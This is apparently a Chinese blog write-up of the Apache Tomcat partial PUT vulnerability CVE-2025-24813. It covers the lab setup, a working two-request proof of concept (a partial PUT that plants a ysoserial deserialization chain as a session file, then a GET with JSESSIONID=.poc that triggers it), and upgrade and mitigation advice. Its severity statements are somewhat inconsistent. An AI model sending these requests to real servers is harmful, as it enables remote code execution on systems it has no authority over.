CVE-2025-24813:Apache Tomcat Partial PUT远程代码执行漏洞

CVE-2025-24813:Apache Tomcat Partial PUT远程代码执行漏洞

HowellFeng

2025-03-25 发布34 浏览 · 1 点赞 · 0 收藏

0x00 简介

Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。

0x01 漏洞概述

CVE-2025-24813 是一个高危逻辑漏洞,影响 Apache Tomcat。该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。
漏洞的根本原因是:Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器‌。

影响版本

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

漏洞详情

  • 漏洞类型:逻辑漏洞
  • 利用条件
    • 满足以下条件,攻击者可以访问或修改安全敏感文件
      1. DefaultServlet 启用了写入权限(默认禁用)。
      2. 服务器启用了 partial PUT(默认启用)。
      3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
      4. 攻击者已知目标敏感文件的路径以及文件名。
      5. 敏感文件是通过 partial PUT 上传的。
    • 满足以下条件,攻击者可以远程代码执行(RCE)
      1. DefaultServlet 启用了写入权限(默认禁用)。
      2. 服务器启用了partial PUT(默认启用)。
      3. Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
      4. 应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。
  • 危害描述
    • 访问或修改敏感文件:通过获取安全配置文件,获取凭据或密钥。通过修改关键配置文件,影响服务器运行状态。
    • 远程代码执行(RCE):结合 Tomcat 基于文件的 Session 持久化机制,利用反序列化漏洞执行恶意代码。

0x02 环境搭建

在配置环境前提醒一下很重要的一点!!! 安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!!
  1. JAVA 中国 下载JAVA,并配置环境变量。Pasted image 20250316012552.png
  2. Apache Tomcat 下载对应漏洞版本的 Tomcat,并配置用户变量。Pasted image 20250316012819.png
  3. 打开 Tomcat 文件夹,在 conf/web.xml 中添加如下配置,开启 File 文件会话存储。Pasted image 20250316013240.png
<Context>  
<Manager className="org.apache.catalina.session.PersistentManager">  
    <Store className="org.apache.catalina.session.FileStore"/>  
</Manager>  
</Context>
  1. conf/web.xml 中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。Pasted image 20250316013616.png
<servlet>  
    <servlet-name>default</servlet-name>  
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>  
    <init-param>  
        <param-name>debug</param-name>  
        <param-value>0</param-value>  
    </init-param>  
    <init-param>  
        <param-name>readonly</param-name>  
        <param-value>false</param-value>  
    </init-param>  
    <load-on-startup>1</load-on-startup>  
</servlet>
  1. 下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入 webapps\ROOT\WEB-INF,在此路径下新建 lib 文件夹,将 CC 放入。Pasted image 20250316014027.png
  2. 启动 Tomcat,并访问 8080 端口,查看是否启动成功。Pasted image 20250316014155.png

0x03 漏洞利用

  1. 使用 yakit 抓包。Pasted image 20250316014657.png
  2. 使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者 ysoserial.jar 也是可以的)。Pasted image 20250316015011.png
  3. 由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。Pasted image 20250316015444.png
PUT /poc/session HTTP/1.1  
Host: localhost:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{base64decode(反序列化文件内容)}}
- 在 HTTP 协议中,`Content-Range` 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 `Content-Range: bytes 0-1000/1200` 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
  1. 发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT 目录下会生成一个 .poc.session 文件。Pasted image 20250316015639.png
    • 使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录 work\Catalina\localhost\ROOT
  2. 然后发送触发 POC 的包即可。Pasted image 20250316015858.png
GET / HTTP/1.1  
Host: localhost:8080  
Cookie: JSESSIONID=.poc
  1. 成功弹出计算器!Pasted image 20250316015929.png

0x04 修复建议

  1. 官方修复
    Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。
    Upgrade to Apache Tomcat 11.0.3 or later
    Upgrade to Apache Tomcat 10.1.35 or later
    Upgrade to Apache Tomcat 9.0.99 or late
  2. 临时缓解措施
    1. 禁用 DefaultServlet 写入功能:在 web.xml 中确保 readonly=true
    2. 禁用文件会话持久化:移除 context.xml 中的 PersistentManager 配置。
    3. 移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。
请前往 登录/注册 即可发表您的看法…